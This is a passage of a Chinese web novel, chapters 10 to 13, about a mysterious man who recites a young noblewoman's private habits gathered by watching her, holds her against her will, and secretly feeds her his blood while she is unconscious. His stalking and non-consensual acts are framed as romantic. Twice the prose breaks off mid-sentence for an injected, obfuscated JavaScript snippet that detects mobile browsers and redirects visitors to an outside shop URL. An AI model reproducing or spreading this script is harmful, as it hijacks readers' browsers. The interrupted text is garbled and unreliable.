李清述仿佛没看见她眼中一闪而过的惊疑,继续道:“饮食上,嗜甜,尤爱冰糖山楂、玫瑰乳酥这类甜点,夏日里最是贪凉,常命人用冰鉴镇了酸梅饮子或酥山,须得母亲和长姐再三劝阻才肯少用些。” 贺佑宁的手指无意识地蜷缩起来。这些细节,他怎么知道得这么清楚?尤其夏日贪冰这事,母亲和阿姐确实常念叨她。 “闲时爱读些才子佳人的话本传奇,对闺阁训诫女则之类兴趣寥寥。女红尚可,但更喜临帖习字,临的是赵孟頫的行书,笔锋间已见几分洒脱之意。”他的声音依旧平淡,却像一把精准的刻刀,将她生活中那些琐碎私密的喜好与习惯,一条条剥离出来,摊开在这水雾弥漫的山谷石台上。 贺佑宁的指尖渐渐攥紧,不仅仅是喜好,连她临摹的字帖,他都知道!赵孟頫的行书笔意婉转流畅,她临摹时总觉比规整的小楷更畅快。 “夏夜常在庭院纳凉,喜扑流萤,能待到露水打湿裙角。冬日手中常捧小巧的鎏金錾花手炉,炉上雕的正是你喜欢的纹样。” 他顿了顿,目光在她的指尖上停留了一瞬,“听戏爱听热闹的弋阳腔,尤其偏爱《穆桂英挂帅》的铿锵段落。赏花亦爱浓丽之色,牡丹芍药、海棠杜鹃,开得越盛越喜,但也欣赏玉兰的清雅,因其形姿高洁。” 他每说一条,贺佑宁的心就沉下去一分。这些细微的、连她自己都未必时时在意的习惯,竟被他如数家珍般娓娓道来。这感觉,不像是在谈论一个仅仅见过几次面的人,倒像是在细数一件被他长期观察、了如指掌的……所有物。 恐惧如同冰冷滑腻的蛇,悄悄缠绕上她的心脏。他到底观察了她多久?又是通过什么方式知道的?难道她平日的一举一动,都在他的监察之下? “……对了,”李清述的语气忽然变得有些微妙,似乎想到了什么有趣的事情,“还听说,贺小姐幼时怕苦,每次生病喝药,必要备上一碟最甜的蜜渍金桔,还要兄长许诺带她去逛西市买最新的绢花才肯喝。如今虽好些,但喝药时依然会不自觉地皱紧鼻子,像只嗅到异味的小猫。” “你……”贺佑宁猛地抬头。 幼时的糗事!这等闺阁私密,他竟也知道?!连阿兄用什么法子哄她喝药这种事…… “你究竟是什么人?!究竟是如何得知的?” 李清述对她的反应似乎早有预料。他并未因她的质问而变色,只是静静地看着她微微惊慌的模样。 “我是什么人,你日后自会知晓。”他避开了第一个问题,对第二个问题,却给出了一个更让她毛骨悚然的答案,“至于为何打探……” 他微微倾身,隔着石台与她更近地对视。水雾在他睫上凝成细小的水珠,随着他眨眼的动作轻轻颤动。 “因为,”他的声音压得很低,带着一种近乎呢喃的,却不容错辨的占有欲,“我想知道。” 我想知道。 如此简单,如此独断,如此……令人窒息。 没有理由,没有解释,只是因为“他想”,所以就可以肆无忌惮地窥探她的生活,剖析她的喜好,掌握她的习惯,甚至翻阅她身边的大小事。 贺佑宁看着他近在咫尺的脸,那张俊美无俦的脸上,此刻没有任何戏谑或嘲讽,只有一片令人胆寒的纯粹专注与理所当然。 她忽然明白了。 对于这个男人而言,或许根本没有“隐私”、“礼法”、“界限”这些概念。只要是他感兴趣的,他想知道的,他就会不择手段地去获取。她的抗拒,她的恐惧,她的质问,在他眼中,或许都无关紧要,甚至……可能正是他乐趣的一部分。 一股彻骨的寒意,从脚底蔓延至全身。她觉得自己就像被精心研究过的,所有的喜好、习性、甚至最细微的小动作,都被置于明面之下,被眼前这个男人观察得一清二楚。 飞瀑依旧在身后轰鸣,水雾依旧冰凉刺骨。可贺佑宁却觉得,这山谷里最冷的,不是这自然的水汽,而是对面这个男人那平静无波的目光,和他话语里透露出的,对她整个人生的无孔不入与了如指掌。 10. 百年玉兰 山风裹挟着瀑布的水汽,一阵阵扑来。 贺佑宁看着他那张脸在氤氲水雾中俊美得不真实,眼神却深得像是要将她吸进去,连同她所有的秘密、喜好、甚至那些她自己都快忘记的稚气习惯,一同吞噬殆尽。 她想反驳,想质问,想让他停止这令人毛骨悚然的剖析,可喉咙像是被什么堵住了,只剩下心脏在胸腔里狂乱无序的撞击。 “你很好。”他忽然开口道,语气平淡。 像是在点评一件瓷器或一幅画, 贺佑宁扭过头去,不想再听见他说的话。 可他的声音却无孔不入。 “比那些总是言行拘谨,一举一动都像是用尺子量过的人,有趣得多。”他继续说道,甚至拿起一块桌上的玫瑰酥,递到她面前,“尝尝?虽不如你家中惯用的那份糖霜厚,但用的是山谷野玫瑰制的馅,香气更烈些。” 贺佑宁紧紧抿着唇,没有回应。 她不要再接受他任何东西,不要再被他牵着鼻子走。 李清述也不勉强,将那玫瑰酥放回碟中,自己却拈起一块,送入口中,慢慢咀嚼,他的吃相很优雅。 “你不必如此害怕。”他咽下点心,又啜了一口茶,才淡淡道,“知道这些,并不意味着我要对你如何。” 贺佑宁睁开眼,眼底满是不信。 他已经给她制造出太多“''惊喜”了! 李清述放下茶杯,目光投向远处朦胧的山色,声音也仿佛飘远了些,“我只是难得碰上一个像你这样特别的人。” 他于她而言也挺特别的, 特别的疯。 “所以,你是把我当作……一只羽毛鲜亮些的雀鸟,还是一株花开得热闹些的盆景?” 观察她的喜好,记录她的习性,然后……圈养起来,供他闲暇时赏玩解闷? 不不不。 贺佑宁立马否定这个猜测,她应该只是话本看多了。 李清述看向她,深不见底的幽暗眼眸里,似乎闪过一丝极其细微的的光芒。 他没有立刻回答,只是静静看着她。 良久,他才缓缓开口,声音比方才更沉了几分:“雀鸟会飞走,盆景易凋零。” 他顿了顿,目光在她的眼睛上停留,“你不同。” 三个字,说得极慢,极重。 贺佑宁不懂他话语里的意思。 她也不想懂。 她不再说话,也不再看他,只是重新低下头,盯着石桌上那杯早已凉透的茶。茶水碧绿,映着天光云影,也映出她自己模糊的倒影。 李清述也没有再开口。 他似乎并不急于推进什么,也不在意这停滞的气氛。只是重新端起了自己的茶杯,轻品慢尝。 目光时而掠过她的发顶,时而望向飞泻的瀑布,姿态闲适得仿佛这真的只是一场寻常的山间小憩。 时间在巨大的水声和沉默中缓慢流淌。 贺佑宁有点想结束这场会面了,“那株百年古玉兰呢?我想看看,看完我就该回去了,青果也该等急了。” 这次不用他开口,她自己主动提出走流程。 李述闻言,抬眸看了她一眼。 那眼神平静无波,却似乎能轻易看穿她急于离开的心思。他并未立刻回答,只是慢条斯理地又为自己斟了半杯茶,指尖摩挲着温热的杯壁。 “百年的玉兰,”他忽然开口,声音带着一丝漫不经心,“有什么稀奇的?” 贺佑宁一怔。 百年古树,花开如雪,在这自然幽谷中,难道不算一景? 不等她回应,李述的下一句话,却让她心头猛地一跳,随即涌起一股荒谬感。 “本想叫你看看……万年的,但你又不喜欢看。” 万年?!贺佑宁愕然看向他。 他神情淡漠,不似玩笑。 可万年……那是什么概念?凡俗草木,岂有万年之寿?纵是深山老林,传闻有灵,也不过是千年古木,便已惊世骇俗。 “万年的?”她下意识地重复,声音里带着难以置信,“不是神物,便是……魔物。”她想起了志怪传奇里那些修炼成精,或护佑一方或为祸人间的古树精怪。 李述听了她的评价,唇角极淡地向上弯了一下,转瞬即逝,快得像是错觉。 “神物?魔物?” 他低语,目光却并未投向山林深处,反而更幽深地落在她脸上,带着一种难以言喻的意味。 贺佑宁心中惊疑不定。 他到底什么意思?是真有万年古树,还是只是随口一说,戏弄于她? 她忍不住问:“道长怎知我不喜欢看?” “你日后便知。” 又是这样语焉不详的话语。 贺佑宁不服气,还想再问。 便见李述放下了茶杯,站起身来。月白色的衣袍随着他的动作如水般流泻。他看向她,眼神里带着一种不容拒绝的意味。 “走吧,去看玉兰花。” 贺佑宁想,既然他不愿意说,那便罢了。 她、也、不、是、那、么、地、好、奇! 等看完了,便能离开了。 李述没再多言,转身朝着石台另一侧走去,那里通往瀑布后方的更深处山崖,有一条几乎被藤蔓完全遮蔽的陡峭小径。 那路径显然比来时更加险峻难行。 贺佑宁提起裙摆,小心翼翼地跟上。 李述走在前方,仿佛对这险峻路径早已熟稔,步履却异常稳健。他几乎未曾回头看她一眼,却总能在她脚步踉跄险些滑倒之时,恰到好处地用丝线缠住她的躯体,替她稳住身形。 飞瀑的轰鸣声在身后渐渐减弱,取而代之的是更为幽深的林间静谧。阳光被浓密的树冠切割成细碎的光斑,洒在长满青苔的山石和蜿蜒的溪流上。空气湿润而清新,带着泥土和朽木特有的气息…… 这里比之前石台所在的区域,更加原始荒僻。 地面上厚厚积着不知多少年的落叶和松针,踩上去软绵绵的。周围林木高耸,藤蔓缠绕,寂静得只有风吹过树梢的细微声响。 李述忽然停了下来,转过身面向她。 “到了。”他说道,声音在这寂静中显得格外清晰。 贺佑宁微微喘着气,环顾四周。 林地空旷,除了高大的树木、缠绕的藤蔓和厚积的落叶,哪里有什么玉兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155023|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树的影子?别说百年古树,就连一棵开花的树极少见到。 “玉兰花……在哪里?”她声音干涩,带着掩饰不住的疑惑。 李述没有立刻回答。 他向前走了两步,离她更近了些。幽暗的光线透过枝叶的缝隙落在他月白色的衣袍和墨黑的发上。他微微低头,看着她因活动而泛红的脸颊,那双深暗的眸子里,闪过一丝极难捕捉的的幽光。 “玉兰花?”他缓缓开口,声音压低了些,带着一种近乎耳语的奇异亲昵,“你仔细闻闻……” 贺佑宁下意识地屏住呼吸,鼻尖微动。空气中是潮湿的泥土味、腐叶的微朽气息,还有……一丝极淡的清冽冷香,那是他身上的气息。 “闻到什么了吗?”他微微倾身,距离近得她能看清他纤长的睫毛和眸中自己的倒影。 贺佑宁被他这突如其来的靠近一惊,下意识地后退了半步,后背却抵上了一棵粗糙的树干。她有些慌乱地回答,“没……没什么特别的。” 她意识到了什么。 李述却仿佛没听见,又逼近了半步,两人之间的距离近得几乎能感受到彼此的呼吸。他微微偏头,几乎贴着她的耳廓,那清冽的气息更加清晰地笼罩下来。 “香不香?”他低声问,语调平淡,甚至带着一丝无辜的探究,仿佛真的只是在询问一个无关紧要的问题。 可这话听在贺佑宁耳中,却如同惊雷!她再忍无可忍,直接撕破两人之间和平的假象。 “这里根本没有玉兰!你骗我!”她指控道。 李述看着她气红的脸颊和那双因愤怒而格外明亮的眸子,眼中的笑意未减,反而更深了些。他慢条斯理道:“玉兰?自然是有的。” 贺佑宁一怔,狐疑地看着他。难道事情有转机? 只见李述微微抬了抬下巴,目光掠过幽暗的林间,仿佛真的在指认某个方向。“往东再走二里,峭壁之下,确有一株老玉兰,年头不短,花开得也还凑合。” 他顿了顿,视线重新落回她脸上,那双深不见底的眸子在晦明光线中显得格外幽邃。他微微倾身,距离再次拉近,声音压低,带着一种无比认真的疑惑:“可是……” “那劳什子玉兰花,”他的目光在她脸上逡巡,从蹙起的眉,到因惊讶而微张的唇,最后定格在她清澈却盛满怒意的眼眸,一字一句清晰无比地问道:“有我好看吗?” 贺佑宁瞬间呆住,所有的质问、愤怒、委屈……都被这突如其来、荒谬绝伦却又理直气壮的问题给堵了回去。 她张了张嘴,却发不出任何声音。 有他好看吗? 她的脑海中不受控制地闪过他的脸,的确生得…… 可是这怎么能比? 玉兰是花,他是人! 然而,在他那双专注凝视,仿佛真的在等待一个答案的眼睛里,贺佑宁竟然有些无言以对。 见她只是瞪着眼睛,半晌说不出话来,李述似乎得到了某种满意的答案。他直起身不再追问,只是那唇角上扬的弧度,泄露了他此刻的心情。 “所以,”他总结般地说道,语气轻松,“看我不就行了?” 贺佑宁:“……” 11. 咬痕 见她只是瞪着眼睛,一副被这荒谬问题噎得说不出话的模样,李清述终于忍不住低低地笑出了声。 笑声清越愉悦,在这幽暗寂静的林间漾开。 他笑得眉眼弯弯,那张本就俊美得不似凡人的脸,因这真切开怀的笑意而骤然生动鲜活,仿佛冰封的湖面骤然被春风拂开,折射出万千潋滟波光。 贺佑宁本就气闷,此刻再被他这毫不掩饰,带着明显捉弄的笑容一激,那根名为理智的弦彻底崩断了! 连日来的委屈、恐惧、被他玩弄于股掌的憋屈、被他容貌短暂蛊惑的羞恼……所有情绪如同火山喷发,瞬间淹没了她! “你……你还笑!”贺佑宁气得声音发颤。 什么闺阁礼仪、什么男女大防、什么后果,她此刻全都顾不上了!现在她只有一个念头,打断他那可恶的笑声! “我让你笑!” 她像只被彻底惹急了的小兽,双手大张就朝着他扑了过去!然而,她忘了两人之间本就距离极近,也忘了眼前这个男人是何等的身手。 李清述看着她张牙舞爪、毫无威胁地扑过来。 他没有躲。 甚至,在她扑过来的瞬间,他顺势张开了手臂。 于是,贺佑宁这全力一扑,非但没有碰到他分毫,反而结结实实毫无阻隔地一头撞进了他早已敞开的怀抱里! “唔!”鼻尖撞上他坚实温热的胸膛,那股冷香瞬间将她包裹。而他的手臂,也自然而然地稳稳收拢,将她整个儿圈在了怀中。 贺佑宁使劲挣扎,但对方纹丝不动。 一连串动作下,贺佑宁也有些累了…… 怒火在这令人窒息的话紧密拥抱中,顿时泄了个一干二净…… 她能听到他沉稳的心跳声就在耳畔,一下又一下……他的手臂坚实有力,环着她的后背和腰肢,将她完全禁锢在他的气息范围之内。 她的脸颊贴着他颈侧的肌肤,能感受到他脉搏的跳动和微微偏高的体温。他的怀抱非常宽阔,却也带着一种不容置疑的霸道力量…… 李清述低下头,下颌轻轻蹭了蹭她柔软的发顶,喉间再次逸出一声低笑。这一次,笑声里少了捉弄,多了几分餍足般的慵懒与……不易察觉的温柔。 “投怀送抱,”他贴着她的耳廓,声音低沉沙哑,带着温热的气息,“一次是意外,两次……” 他顿了顿,手臂收紧,将她更密实地按向自己,“可就是故意了。” “才不是!你才是在故意捉弄人!”贺佑宁顿时又有了力气,在他怀中轻微扭动,依旧换来他更紧的禁锢。 这个疯子! 贺佑宁此刻脑中只剩下了一个念头,要让他也难受!于是她几乎是想也不想,踮起脚尖对着他近在咫尺的颈侧狠狠咬了下去! “唔!”李清述闷哼一声。 贺佑宁继续使力,她用了狠劲,贝齿深深陷入他颈侧的肌肤,舌尖甚至尝到了一丝属于血液的腥咸铁锈味。 她心中掠过快意,但同时还伴随着隐隐的忧虑。 毕竟他可是个武功高强的疯子,她可打不过他! 但是,预想中的暴怒并没有到来。 反而…… 她感觉到他环抱着她的手臂,似乎收得更紧了些。男人胸腔的震动,透过紧贴的身体传来,那不再是闷哼,而是一种更低更沉,带着某种奇异颤动的声音。 紧接着,她听到他发出一声近乎愉悦的压抑喟叹。那声音极轻,却让她头皮发麻。 他在……兴奋? 这个认知让贺佑宁浑身的血液都凉了半截。她松开了口,惊慌地抬起头,看向他。 李清述也正低头看着她。 他的眸色比这林间的幽暗更加深沉,里面翻涌着她看不懂的,浓烈到近乎炽热的情绪,像是被点燃的深渊,危险而摄人。 他的呼吸似乎比刚才急促了些,喷洒在她额前的发丝上,带着灼人的热度。而他的唇角,竟然……上扬着一个更加明显、更加肆意的弧度,那笑容里充满了欲念、渴求和一种让她心惊胆战的兴奋。 他非但没有因为被咬而恼怒,反而似乎被她的反抗取悦了,甚至……刺激到了。 贺佑宁僵硬地待在他怀中,一动也不敢动,连呼吸都放轻了。 见她突然安静下来,不再挣扎,也不再咬他,只是睁着一双眼睛望着他,李清述眼中的炽热渐渐沉淀,化为一种更深沉的注视。 “怎么不咬了?”他开口,声音比刚才更加沙哑,指尖轻轻拂过她沾了点血渍的唇角,指腹薄茧略微粗糙,让贺佑宁如同被火燎到般猛地一颤,下意识地偏头想要躲开。 她不想再咬。 方才他眼中那被激起的危险而炽烈的兴奋光芒,还清晰地印在她脑海里。 她不想让这疯子高兴。 她觉得自己没招了。 怎么好像无论如何都伤害不了他? 李清述看着她惊惶躲闪的模样,眼中那未散的炽热沉淀为更深的幽暗。 他没有将沾了她唇角血渍的指尖,缓缓移到自己的唇边。 然后在贺佑宁难以置信的注视下,他探出舌尖,极慢地舔去了指尖上那一点猩红。他的动作慢条斯理,眼神却紧紧锁着她。 贺佑宁的瞳孔骤然收缩,浑身血液仿佛瞬间冻结! 他......他在做什么?舔......舔血?! 那动作带着一种难以言喻的邪气与色气,与他谪仙般的容貌形成极致反差,却奇异地糅合成一种更令人战栗的致命吸引力。他微眯着眼,仿佛在品尝什么绝世美味,喉结轻轻滚动了一下,目光始终紧盯她的表情。 那眼神,像是在品尝她的恐惧,又像是在标记他的所有物。 贺佑宁的大脑一片空白。 她从未见过如此......如此邪肆又令人毛骨悚然的举动。那不仅仅是轻佻或戏弄,那是一种更深层次的,近乎兽性的侵占与品尝。她甚至能感觉到自己唇边被咬破的,属于他的那一点点皮肤,似乎也在隐隐发烫。 李清述的眼睛里面翻涌着她看不懂的情绪,却让她本能地感到极度的危险。 贺佑宁头皮发麻,立即垂下眼睫。 李清述低笑一声。 他没有再追问,也没有立刻放开她,只是就那样抱着她,仿佛在享受这片刻的宁静。 过了一会儿,他缓缓开口,语气恢复了之前的平淡,“我们去看玉兰花吧。” “不去了。”她现在哪有半分看花的心情!她只想回家! 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一株巨大无比的玉兰树,静静地矗立在那里。 树干之粗壮,需数人方能合抱,树皮是深沉的灰褐色,布满深刻的岁月沟壑,上面攀附着厚厚的苔藓和地衣,昭示着它悠长的年岁。枝干虬曲盘绕,向四面八方恣意伸展,撑开一顶覆盖了小半个山谷的盛大华盖。 华美绝伦! 没有一片绿叶的干扰,只有满树、满枝、满眼,层层叠叠、密密匝匝、无穷无尽的玉兰花! 它们一朵挨着一朵,一簇拥着一簇,从最低的枝桠到最高的树梢,如同倾泻而下的瀑布。 花朵硕大肥厚,花瓣莹润洁白如最上等的羊脂美玉,在明媚的日光下,泛着柔和而圣洁的光泽。 香气浓郁得仿佛有了实质,随着山风弥漫在整个山谷,沁人心脾,涤荡尘虑。 百年古玉兰,花开如雪,幽香袭人。 贺佑宁定定看着,入了神。 李清述站在她身侧,同样望着那株玉兰。阳光洒在他月白色的衣袍上,反射出淡淡的光晕。他的侧脸在明亮的光线下清晰无比,俊美得毫无瑕疵。 此刻,他脸上惯常的冰冷漠然,不知是被身旁人,还是被这盛景所触,竟也柔和了些许。 “你觉得如何?”他缓缓开口,声音在这被花香浸透的山谷里,显得格外清晰。 “很美。”贺佑宁低声应道,在这自然的奇迹面前,个人的情绪似乎都显得渺小了。 李清述伸出手,一片洁白的花瓣恰好飘落,打着旋儿,落在他摊开的掌心。 山风吹过,万千玉兰齐齐摇曳,发出簌簌的轻响,如同落雪,又似低语。馥郁的幽香更加浓郁地弥漫开来。 李清述手中的花瓣越来越多,他用一个月白色的荷包袋装好,然后挂在贺佑宁腰间。 许久后,眼见日头逐渐向西行,他开口说道:“看完了,该回去了。”然后伸手揽住贺佑宁的腰身。 在腾空而起的瞬间,贺佑宁下意识闭上了眼睛,双手微微收紧,抱住了他。 耳畔风声再起,身体再次飞掠。 鼻尖依然萦绕着那百年玉兰清冷馥郁的幽香。 12. 生病 自那日回来之后,贺佑宁便病倒了。 不知是因为情绪起伏过大,还是因为在山间受了寒,她在当夜便发起了高热来。 人烧得迷迷糊糊,嘴唇都起了干皮,偶尔醒转也是眼神涣散,说不清话,只难受得轻声哼哼。 请来的大夫说是风寒入体,开了方子把药灌下去后,人一直沉沉昏睡着。 屋子里静悄悄的。 不知何时,一道修长身影已无声无息立在榻前,白色袍角拂过光洁地面,未激起半分声响。 衣料看着寻常,却隐隐有光华流转。墨黑的长发未束,披散在肩后,男人微微倾身,看着床上昏睡的人儿,目光平静。 他伸出手,指尖极轻地拂开她额前微微汗湿的碎发。 “岁岁……” 他低声唤了一句,声音与平日截然不同。不再是清冷如玉磬相击,而是异常柔和,带着一丝刻意放缓,如丝绸滑过耳畔般的滑腻质感。尾音微微拖长,在寂静的室内幽幽回荡,无端生出几分蛊惑人心的妖异。 “烧得这样厉害……”他柔声说着,指尖在她滚烫的额角轻轻划过,仿佛在感受那灼人的温度,“可怜见的。” 贺佑宁在昏沉中似乎听见了这诡异的柔声,睫毛颤动,无意识地偏了偏头,唇间溢出模糊的呓语:“……热……” 李清述垂眸看向自己搁在膝上的手。 手腕从袖中露出一截,肤色是那种久不见日光的冷白,能看见底下淡青色的血管。他不知从哪儿摸出一柄极小极薄的银刀,刀身亮得晃眼,刃口凝着一点寒芒。 轻轻一转,刀刃便在指腹上极快地划了一下。 一道细小的口子裂开,血珠迅速渗了出来,聚成鲜红饱满的一滴,悬在冷白的皮肤上,红得刺眼,妖冶欲滴。 然后他将渗血的手指,轻轻贴上她微微泛白的唇。 带着淡淡腥气的温热液体,缓缓流入她的口中。昏睡中的贺佑宁先是蹙紧了眉,喉间发出细弱的呜咽,似乎想躲开这陌生的味道。但那液体源源不断,她挣扎不过,终是本能地吞咽了几下。 李清述就这么静静看着,看着她喉间细微的滚动,轻缓的柔声继续低低响起:"都说皇帝是真龙天子,龙血龙肉,哪怕是一点皮屑头发,在外头那些方士权贵眼里,都是万金难求的无上宝物。” “为了求一滴天子龙血,那些人愿意倾尽家财,甚至杀人越货,不惜一切代价……他们都说,这东西能祛百病,延寿元,甚至......改命格。” 他凝视着贺佑宁因吞咽了血液而微微染上一点猩红的唇角,低低地笑了一声,在寂静的屋内格外清晰,"有没有用我不知道,反正我血多,给你尝尝。" 他微微偏头,似乎在欣赏自己的杰作一般,令人毛骨悚然的专注,语气里带着一种奇异满足感,"现在我的血,在你身体里了。" 他声音更柔更轻,似乎想飘进她的心里:“要快些好起来……” 直到她不再吞咽,他才缓缓撤开手腕。 他取过床边备着的干净软巾,极轻地拭去她唇角沾染的一点猩红。接着他缓缓俯身,将昏睡中的贺佑宁连人带薄被轻轻揽入了自己怀中。 她的身体滚烫,隔着一层薄被,都能感觉到那灼人的热度。 李清述将她圈在臂弯里,让她靠在自己胸前。他低下头,目光落在她露在被子外的一只手上。 那手因为发热而泛着淡淡的粉色,手指纤长,指甲修剪得圆润干净。他用指尖极轻地碰了碰她的指尖,又顺着她的手背慢慢滑到手腕,动作轻缓得像是在研究一件精美的瓷器。 “这般病恹恹的,看着便叫人不喜。还是鲜活些好……” 他的目光又移到她散落的乌发上。发丝因为汗意而微湿,贴着她白皙的颈侧。他勾起一缕,在指间缠绕把玩,那发丝柔软光滑,带着她身上混合了药味的淡淡馨香。 指尖上移,极其轻柔地拨了拨她长长的睫毛。那睫毛因他触碰而微微颤动,像受惊的蝶翼。 “他们说,天子一身都是宝,发肤骨血,能活死人肉白骨……”妖异柔和的声线轻轻低语,仿佛在说给昏睡中的她听,又像是在说给自己听,“但愿真如他们所说那样吧。” 他的语气里听不出是嘲弄还是认真,眼里只有一片深不见底的幽邃。 他的怀中带着清冽的凉意。昏睡中的贺佑宁似乎感觉到了这份舒适,无意识地朝他怀里蹭了蹭,发出一声满足般的细微叹息,紧蹙的眉头也舒展了些。 李清述低下头,下颌轻轻抵着她的发顶,低语几乎化作气音,在她耳边呢喃:“这样可舒服些了?要快点好起来……” 他就这样抱着她,手掌偶尔极轻地拂过她的后背,静静陪伴着。 日光将两人相拥的身影拉长,投落在地上,异常亲密,不分你我。 不知过了多久,感觉到怀中的躯体热度似乎降下去些许,呼吸也变得更加绵长安稳,李清述缓慢地将她重新放回枕上,仔细掖好被角。 他最后看了她一眼,那张小脸上的潮红退去不少,显露出脆弱的苍白,但眉目舒展,显然睡得踏实了许多。 他唇角极淡地勾了勾。 随即他的身影微动,如同融入光线的尘埃,悄无声息地消失在室内。 …… 傍晚,天光收敛成一片沉静的蟹壳青,屋内光线也暗了下来。 贺佑宁悠悠转醒。 身上那股灼人的高热感已经退去大半,只余下病后惯常的疲乏和微微的虚汗。头脑是清明的,不再像前几日那样昏沉疼痛得如同塞了团湿棉花。 她静静躺着,刚想开口唤人,然而动作却忽地顿住。 喉咙间,缠绕着一股不容错辨的异样滋味。 不是药汁残留的清苦,也非清水或蜜饯的甘润。那是一种带着铁锈般腥气的味道。顽固地附着在舌尖与上颚处,随着每一次呼吸,若有若无地提醒着它的存在。 昏沉时那些似真似幻的记忆碎片,被这味道唤醒。 微凉的指尖、贴近耳廓低柔到诡异的呼唤、还有在唇边抵近,温热而缓缓流入的腥气液体…… 贺佑宁的睫羽在昏暗光线下,几不可察地颤动了一下。 这味道真实得刺人。真实到让她连一丝自我欺骗的余地都没有。 果然是他。 他又来了。 又是用这种完全超出常人理解的方式…… 贺佑宁已经不知道说什么好了。 静默半晌后,她撑着有些绵软的手臂,慢慢坐起身。虚汗浸湿了寝衣的后背,带来一丝凉意,身体确实松快了许多。 但贺佑宁知道,不是因为他的“方子”。 而是身体的自我修复和汤药的效果。 门外传来轻微的脚步声和低声交谈,随即,贺夫人和贺瑾安相携走了进来。 屋内光线昏沉,贺瑾安点亮了床头的莲花铜灯,暖黄的光晕漾开,驱散了些许暮色。 “岁岁,醒了?”贺夫人快步走到床边,伸手便去探她的额头,触手间已不复之前的滚烫,她紧蹙的眉头这才松了松,眼中满是心疼与后怕,“谢天谢地,热度总算是退干净了。身上可还难受?头还晕不晕?” 贺佑宁微微摇头,声音因久未开口而有些低哑,却还算平稳:“阿娘我好多了,就是还觉得有些乏,但是头不晕了。” 贺瑾安也在一旁坐下,细细端详她的脸色,虽然有些苍白,但眼神清明,唇上也多了点淡淡的血色,确实比之前昏沉时好了许多。“可算是见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155025|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好转了,昨夜到今日,真是吓坏我们了……不过醒了就好,醒了就好。” 贺夫人握着女儿的手,掌心温暖干燥:“定是在那忘尘谷里吹了邪风,又受了惊吓。往后可不能再由着性子去那些荒僻地方了……” “我知道了阿娘。”贺佑宁垂下眼睫,任由母亲絮叨。 贺夫人继续道:“饿不饿?今日都没好好进食。” 贺瑾安接过话头,语气温和,“可想吃些什么?厨房里一直备着清淡的粥品小菜,也有你素日爱吃的甜羹。” 贺佑宁静静听着,母亲和姐姐关切的言语如同温暖的潮水包裹着她。她抬起眼,对上一母一姐满是担忧和疼爱的目光。 “让阿娘和阿姐担心了。”她轻声开口,“确实有些饿了……就……粳米粥吧,配些清爽的小酱菜就好。” 贺夫人见她肯吃东西,眉眼间的那些愁色又散开几分,连忙吩咐门口候着的丫鬟去厨房传话。“再让她们炖一盅冰糖燕窝来,慢慢用,补补元气。” 贺佑宁没有拒绝,只是轻轻点了点头。灯光下,她的脸上神情平静。 丫鬟领命而去,不多时,便端着一个黑漆螺钿托盘回来了。 托盘上放着一只素白瓷碗,里面是熬得米粒开花、莹润软糯的粳米粥,旁边配着几碟精巧的酱菜。嫩黄的酱瓜、翠绿的乳黄瓜、深褐的八宝酱菜,还有一小碟淋了香油的拌笋丝。另有一个更小的甜白瓷盅,里面是清亮微稠的冰糖燕窝。 贺瑾安亲自将托盘接过来,放在床边的小几上,又细心地在贺佑宁身后垫了两个软枕,让她能靠得舒服些。“慢慢吃,不着急。” 贺夫人则舀了一小碗粥,用勺子轻轻搅动着散热,眼中满是慈爱:“先喝点粥暖暖胃,燕窝等会儿再用。” 粥香混合着酱菜清淡的咸鲜气,飘散开来。 贺佑宁自觉自己已经长大了,没有让母亲喂,而是接过碗。 她舀起一勺,送入口中。 米粥熬得恰到好处,软滑温润,顺着食道滑下,空荡了许久的胃腹顿时被一股暖意填充。酱菜脆嫩爽口,恰到好处地中和了白粥的平淡。 她小口小口地吃着。 贺夫人和贺瑾安见她能进食,且神色平和,心下稍安,便坐在一旁轻声说着话,多是些府里近几日的琐事,或是哪家送了补品来问候,氛围轻松。 贺佑宁安静地听着,偶尔应和一声。 她吃得不多,大概吃了小半,又喝了一点燕窝羹之后,便放下了碗勺。 “再用些吧?”贺瑾安劝道。 “够了阿姐。”贺佑宁轻轻摇头,声音依旧有些虚软,“就这样刚刚好,吃多了反倒不好克化。” 贺夫人见她气色确实比方才又好了一些,虽仍显羸弱,但眼神清亮,不似强撑,便也不再勉强,只替她掖了掖被角:“也好,那就歇着。想用了再让丫头们去端来。你父亲晚些时候下了值,也会来看你。” “好,女儿晓得了。”贺佑宁应道。 贺佑宁看起来仍有一丝恹恹的样子,贺夫人和贺瑾安不再多留,嘱咐她好好休息,有什么需要立刻让丫鬟去禀报,这才相携离开。 屋内重新安静下来,只剩下贺佑宁一人。 窗台边的笸箩里,正晾着玉兰花瓣。 花瓣失去了鲜活时的莹润饱满,变得轻薄脆弱,边缘微微卷曲,颜色也褪成了淡淡的微黄。但形状依旧优美,脉络清晰,依稀能想象出它盛开时洁白如玉的模样。 贺佑宁无声之中陷入了沉思,明日,他也会来罢? 她默默地叹了口气,她竟不知该拿他如何是好? 难道真要应了那所谓的缘分,顺其自然? 好似也别无它法了,毕竟他似乎异常的神秘强大…… 13. 恶劣 第二日清晨,天色将明未明,草木枝叶上凝着湿漉漉的露珠。 一道月白色的身影,如同被晨风吹落的一片云,悄无声息地自廊檐上方翩然落下,衣袂翻飞间,未带起半点尘埃。 李清述刚立定,目光第一时间便锁住了廊下那抹白色纤弱的身影。 